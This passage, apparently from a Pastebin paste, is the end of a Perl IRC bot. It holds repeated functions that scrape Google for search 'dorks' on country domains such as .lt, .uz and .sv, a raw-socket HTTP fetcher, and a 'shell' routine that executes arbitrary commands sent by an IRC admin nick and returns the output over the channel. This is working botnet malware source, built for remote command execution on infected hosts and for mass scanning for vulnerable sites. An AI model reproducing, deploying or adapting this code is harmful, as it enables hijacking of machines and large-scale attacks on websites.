  3432. push(@list,$grep[0]);
  3433. }
  3434. }
  3435. }
  3436. return @list;
  3437. }
  3438.  
  3439. sub lt() {
  3440. my @list;
  3441. my $key = $_[0];
  3442. for (my $i=0; $i<=1000; $i+=100){
  3443. my $search = ($jack5.uri_escape($key)."%2Bsite%3Alt%26num%3D100%26start%3D".$i);
  3444. my $res = &search_engine_query($search);
  3445. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3446. my $link = $1;
  3447. if ($link !~ /google/){
  3448. my @grep = split(/\&/,$link);
  3449. push(@list,$grep[0]);
  3450. }
  3451. }
  3452. }
  3453. return @list;
  3454. }
  3455.  
  3456. sub mz() {
  3457. my @list;
  3458. my $key = $_[0];
  3459. for (my $i=0; $i<=1000; $i+=100){
  3460. my $search = ($jack6.uri_escape($key)."%2Bsite%3Amz%26num%3D100%26start%3D".$i);
  3461. my $res = &search_engine_query($search);
  3462. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3463. my $link = $1;
  3464. if ($link !~ /google/){
  3465. my @grep = split(/\&/,$link);
  3466. push(@list,$grep[0]);
  3467. }
  3468. }
  3469. }
  3470. return @list;
  3471. }
  3472.  
  3473. sub ma() {
  3474. my @list;
  3475. my $key = $_[0];
  3476. for (my $i=0; $i<=1000; $i+=100){
  3477. my $search = ($jack5.uri_escape($key)."%2Bsite%3Ama%26num%3D100%26start%3D".$i);
  3478. my $res = &search_engine_query($search);
  3479. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3480. my $link = $1;
  3481. if ($link !~ /google/){
  3482. my @grep = split(/\&/,$link);
  3483. push(@list,$grep[0]);
  3484. }
  3485. }
  3486. }
  3487. return @list;
  3488. }
  3489.  
  3490. sub al() {
  3491. my @list;
  3492. my $key = $_[0];
  3493. for (my $i=0; $i<=1000; $i+=100){
  3494. my $search = ($jack6.uri_escape($key)."%2Bsite%3Aal%26num%3D100%26start%3D".$i);
  3495. my $res = &search_engine_query($search);
  3496. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3497. my $link = $1;
  3498. if ($link !~ /google/){
  3499. my @grep = split(/\&/,$link);
  3500. push(@list,$grep[0]);
  3501. }
  3502. }
  3503. }
  3504. return @list;
  3505. }
  3506.  
  3507. sub ec() {
  3508. my @list;
  3509. my $key = $_[0];
  3510. for (my $i=0; $i<=1000; $i+=100){
  3511. my $search = ($jack7.uri_escape($key)."%2Bsite%3Aec%26num%3D100%26start%3D".$i);
  3512. my $res = &search_engine_query($search);
  3513. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3514. my $link = $1;
  3515. if ($link !~ /google/){
  3516. my @grep = split(/\&/,$link);
  3517. push(@list,$grep[0]);
  3518. }
  3519. }
  3520. }
  3521. return @list;
  3522. }
  3523.  
  3524. sub kg() {
  3525. my @list;
  3526. my $key = $_[0];
  3527. for (my $i=0; $i<=1000; $i+=100){
  3528. my $search = ($jack1.uri_escape($key)."%2Bsite%3Akg%26num%3D100%26start%3D".$i);
  3529. my $res = &search_engine_query($search);
  3530. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3531. my $link = $1;
  3532. if ($link !~ /google/){
  3533. my @grep = split(/\&/,$link);
  3534. push(@list,$grep[0]);
  3535. }
  3536. }
  3537. }
  3538. return @list;
  3539. }
  3540.  
  3541. sub uz() {
  3542. my @list;
  3543. my $key = $_[0];
  3544. for (my $i=0; $i<=1000; $i+=100){
  3545. my $search = ($jack2.uri_escape($key)."%2Bsite%3Auz%26num%3D100%26start%3D".$i);
  3546. my $res = &search_engine_query($search);
  3547. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3548. my $link = $1;
  3549. if ($link !~ /google/){
  3550. my @grep = split(/\&/,$link);
  3551. push(@list,$grep[0]);
  3552. }
  3553. }
  3554. }
  3555. return @list;
  3556. }
  3557.  
  3558. sub sv() {
  3559. my @list;
  3560. my $key = $_[0];
  3561. for (my $i=0; $i<=1000; $i+=100){
  3562. my $search = ($jack3.uri_escape($key)."%2Bsite%3Asv%26num%3D100%26start%3D".$i);
  3563. my $res = &search_engine_query($search);
  3564. while ($res =~ m/<a href=\"\/url\?q=http([^"]*)\"/g) {
  3565. my $link = $1;
  3566. if ($link !~ /google/){
  3567. my @grep = split(/\&/,$link);
  3568. push(@list,$grep[0]);
  3569. }
  3570. }
  3571. }
  3572. return @list;
  3573. }
  3574. #########################################
  3575.  
  3576. sub clean() {
  3577. my @cln = ();
  3578. my %visit = ();
  3579. foreach my $element (@_) {
  3580. $element =~ s/\/+/\//g;
  3581. next if $visit{$element}++;
  3582. $element =~ s/:\//:\/\//g;
  3583. push @cln, $element;
  3584. }
  3585. return @cln;
  3586. }
  3587.  
  3588. sub search_engine_query() {
  3589. my $url = $_[0];
  3590. $url =~ s/http:\/\///;
  3591. my $host = $url;
  3592. my $query = $url;
  3593. my $page = "";
  3594. $host =~ s/href=\"?http:\/\///;
  3595. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  3596. $query =~ s/$host//;
  3597. if ($query eq "") { $query = "/"; }
  3598. eval {
  3599. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  3600. my $sget = "GET $query HTTP/1.0\r\n";
  3601. $sget .= "Host: $host\r\n";
  3602. $sget .= "Accept: */*\r\n";
  3603. $sget .= "User-Agent: $uagent\r\n";
  3604. $sget .= "Connetion: Close\r\n\r\n";
  3605. print $sock $sget;
  3606. my @pages = <$sock>;
  3607. $page = "@pages";
  3608. close($sock);
  3609. };
  3610. return $page;
  3611. }
  3612.  
  3613. #########################################
  3614.  
  3615. sub shell() {
  3616. my $path = $_[0];
  3617. my $cmd = $_[1];
  3618. if ($cmd =~ /cd (.*)/) {
  3619. chdir("$1") || &msg("$path","No such file or directory");
  3620. return;
  3621. }
  3622. elsif ($pid = fork) { waitpid($pid, 0); }
  3623. else { if (fork) { exit; } else {
  3624. my @output = `$cmd 2>&1 3>&1`;
  3625. my $c = 0;
  3626. foreach my $output (@output) {
  3627. $c++;
  3628. chop $output;
  3629. &msg("$path","$output");
  3630. if ($c == 5) { $c = 0; sleep 3; }
  3631. }
  3632. exit;
  3633. }}
  3634. }
  3635.  
  3636. sub isAdmin() {
  3637. my $status = 0;
  3638. my $nick = $_[0];
  3639. if ($nick eq $admin) { $status = 1; }
  3640. return $status;
  3641. }
  3642.  
  3643. sub msg() {
  3644. return unless $#_ == 1;
  3645. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  3646. }
  3647.  
  3648. sub nick() {
  3649. return unless $#_ == 0;
  3650. sendraw("NICK $_[0]");
  3651. }
  3652.  
  3653. sub read_dorks() {
  3654. my $dork = uri_escape($_[0]);
  3655. my $file = "dorks.txt";
  3656. my $success = 0;
  3657. open (file,"<$file");
  3658. while (my $dorkx=<file>) {
  3659. chop($dorkx);
  3660. if ($dorkx =~ /^$dork/){
  3661. $success = 1;
  3662. }
  3663. }
  3664. close file;
  3665. return $success;
  3666. }
  3667.  
  3668. sub write_dorks() {
  3669. my $dorks = uri_escape($_[0]);
  3670. my $file = "dorks.txt";
  3671. open (filex,">>$file");
  3672. print filex $dorks."\n";
  3673. close filex;
  3674. }
  3675.  
  3676. sub notice() {
  3677. return unless $#_ == 1;
  3678. sendraw("NOTICE $_[0] :$_[1]");
  3679. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!